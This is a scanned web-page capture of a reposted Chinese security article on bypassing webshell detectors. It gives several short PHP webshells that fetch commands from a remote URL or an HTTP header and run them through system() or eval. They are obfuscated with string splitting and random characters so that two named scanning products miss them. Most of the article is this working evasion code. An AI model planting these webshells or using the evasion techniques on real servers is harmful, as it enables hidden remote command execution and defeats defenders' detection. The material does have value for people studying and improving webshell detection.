www.ctfiot.com
Open in
urlscan Pro
43.254.217.178
Public Scan
URL:
http://www.ctfiot.com/71118.html
Submission: On January 05 via manual from US — Scanned from DE
Submission: On January 05 via manual from US — Scanned from DE
Form analysis
2 forms found in the DOMPOST http://www.ctfiot.com/wp-comments-post.php
<form action="http://www.ctfiot.com/wp-comments-post.php" method="post" id="commentform" class="text-sm mb-4">
<div class="visitor-avatar d-flex flex-fill mb-2">
<img class="v-avatar rounded-circle" src="http://www.ctfiot.com/wp-content/themes/onenav/images/gravatar.jpg">
</div>
<div class="comment-textarea mb-3">
<textarea name="comment" id="comment" class="form-control" placeholder="输入评论内容..." tabindex="4" cols="50" rows="3"></textarea>
</div>
<div id="comment-author-info" class="row row-sm">
<div class="col-sm-6 col-lg-4 mb-3"><input type="text" name="author" id="author" class="form-control" value="" size="22" placeholder="昵称" tabindex="2"></div>
<div class="col-sm-6 col-lg-4 mb-3"><input type="text" name="email" id="email" class="form-control" value="" size="22" placeholder="邮箱" tabindex="3"></div>
<div class="col-sm-12 col-lg-4 mb-3"><input type="text" name="url" id="url" class="form-control" value="" size="22" placeholder="网址" tabindex="4"></div>
</div>
<div class="com-footer text-right">
<input type="hidden" id="_wpnonce" name="_wpnonce" value="f922ac6754"><input type="hidden" name="_wp_http_referer" value="/71118.html">
<a rel="nofollow" id="cancel-comment-reply-link" style="display: none;" href="javascript:;" class="btn btn-light custom_btn-outline mx-2">再想想</a>
<input class="btn btn-dark custom_btn-d" name="submit" type="submit" id="submit" tabindex="5" value="发表评论">
<input type="hidden" name="comment_post_ID" value="71118" id="comment_post_ID">
<input type="hidden" name="comment_parent" id="comment_parent" value="0">
</div>
</form>
GET http://www.ctfiot.com/
<form role="search" method="get" id="searchform" class="searchform" action="http://www.ctfiot.com/">
<div>
<label class="screen-reader-text" for="s">搜索:</label>
<input type="text" value="" name="s" id="s">
<input type="submit" id="searchsubmit" value="搜索">
</div>
</form>
Text Content
* 站点推荐 * blog * 关于我们 * 网站提交 * 今日热榜 * CTF平台 * IOT安全 * ICS安全 * 区块链安全 * 汽车安全 * 漏洞平台 * SRC众测平台 * 乌云镜像 * 安全招聘 * 学习平台 * 网站提交 * ChaMd5 * blog * 关于我们 * 网站提交 * 今日热榜 * 首页•渗透技巧•webshell绕过案例 WEBSHELL绕过案例 渗透技巧 2个月前 admin 180 0 0 背景 在研究基于netfilter的后门时,我想到如果webshell可以创建af_packet、af_netlink等socket,就可以不使用$_POST、$_GET等方式获取用户输入,因为某些webshell检测方式会标记$_POST、$_GET等数据为污点,所以这种方式可以用来躲避检测。 不过很遗憾,从 https://www.php.net/manual/en/function.socket-create.php 文档中看,socket_create不支持创建af_netlink、af_packet类型的socket。 接着我又想到,我可以通过"端口复用"创建tcp服务来获取用户输入。比如和php-fpm、ssh服务做"端口复用"。 在 https://cloud.tencent.com/lab/search?searchtitle=lnmp 的实验环境里搭了一个php-fpm环境后,测试后发现无法做端口复用,猜测应该是php-fpm服务监听的socket没有用SO_REUSEPORT选项。测试代码见 https://gist.github.com/leveryd/83038ce5b53a34435c9c0888235bf7bd 似乎上面两种思路都不行,最后我就想webshell能不能从远程获取用户输入呢,这样也不用$_POST、$_GET等变量。沿着这个思路构造了几个样本,并在长亭的牧云[1]、百度的webdir[2]验证了一下检出效果。 测试过程 第一个样本如下 <?php $cmd=file_get_contents("http://127.0.0.1:9999/cmd"); system($cmd); 牧云标记出webshell,webdir没有检出。 即使改成下面这种用eval、字符串拼接,牧云也可以检出 <?php eval('$cmd=file_get'.'_contents("http://127.0.0.1:9999/cmd");'); system($cmd); 不过加入随机数后,牧云就无法检出 <?php function rand_char(){ $s = substr(str_shuffle(str_repeat("1t",1)), 0, 1); // 从"1"和"t"中随机选择一个字符 return $s; } $r=rand_char(); eval('$cmd=file_ge'.$r.'_contents("http://127.0.0.1:9999/cmd");'); system($cmd); > rand、mt_rand 生成的随机数,牧云是可以检出的 总结 最开始的思路是想避免$_POST、$_GET等常见方式获取用户输入,最终绕过还是得靠不常见的随机数函数。 > file_get_contents也可以改成socket,代码见 > https://gist.github.com/leveryd/896b9fba137aa2d12ce8c7737d451852 PS:在研究过程中,发现一个似乎比较少见的获取header的api,测试发现也可以绕过webdir <?php $headers=apache_request_headers(); eval($headers["X-TARGET"]); 参考资料 [1] 长亭的牧云: https://stack.chaitin.com/security-challenge/webshell/index [2] 百度的webdir: https://scanner.baidu.com/#/pages/intro > 原文始发于微信公众号(leveryd):webshell绕过案例 版权声明:admin 发表于 2022年11月6日 下午8:38。 转载请注明:webshell绕过案例 | CTF导航 上一篇 记一次QQ本地快捷登录漏洞复现 下一篇 基于AD EVENT日志检测NTDS凭据转储攻击 相关文章 【技术推荐】云原生之Kubernetes安全 admin 568 每日安全动态推送(08-23) admin 199 30几款常见WAF的拦截页整理 admin 517 连载:红队知识体系梳理-relay admin 80 Bypass-JSPWebshellV1.1自动生成工具已发布 admin 351 利用黄金证书劫持域控 admin 545 暂无评论 再想想 暂无评论... 广告位 搜索: admin 博主 5217文章 18评论 2.1M浏览 338获赞 相关文章 每日安全动态推送(1-5) 13小时前 0 PowerShell revshells 15小时前 0 CertPotato|从WebShell到System权限 1天前 0 API安全漏洞靶场crapi漏洞复现 1天前 0 syscall的检测与绕过 1天前 0 如何挖通用型漏洞? 1天前 0 每日安全动态推送(1-4) 1天前 0 gRPC内存马研究与查杀 2天前 0 某微1day后台RCE审计漏洞 2天前 0 CVE-2022-38627:Linear eMerge E3楼宇管理系统SQL注入 3天前 0 Copyright © 2023 CTF导航 Designed by ChaMd5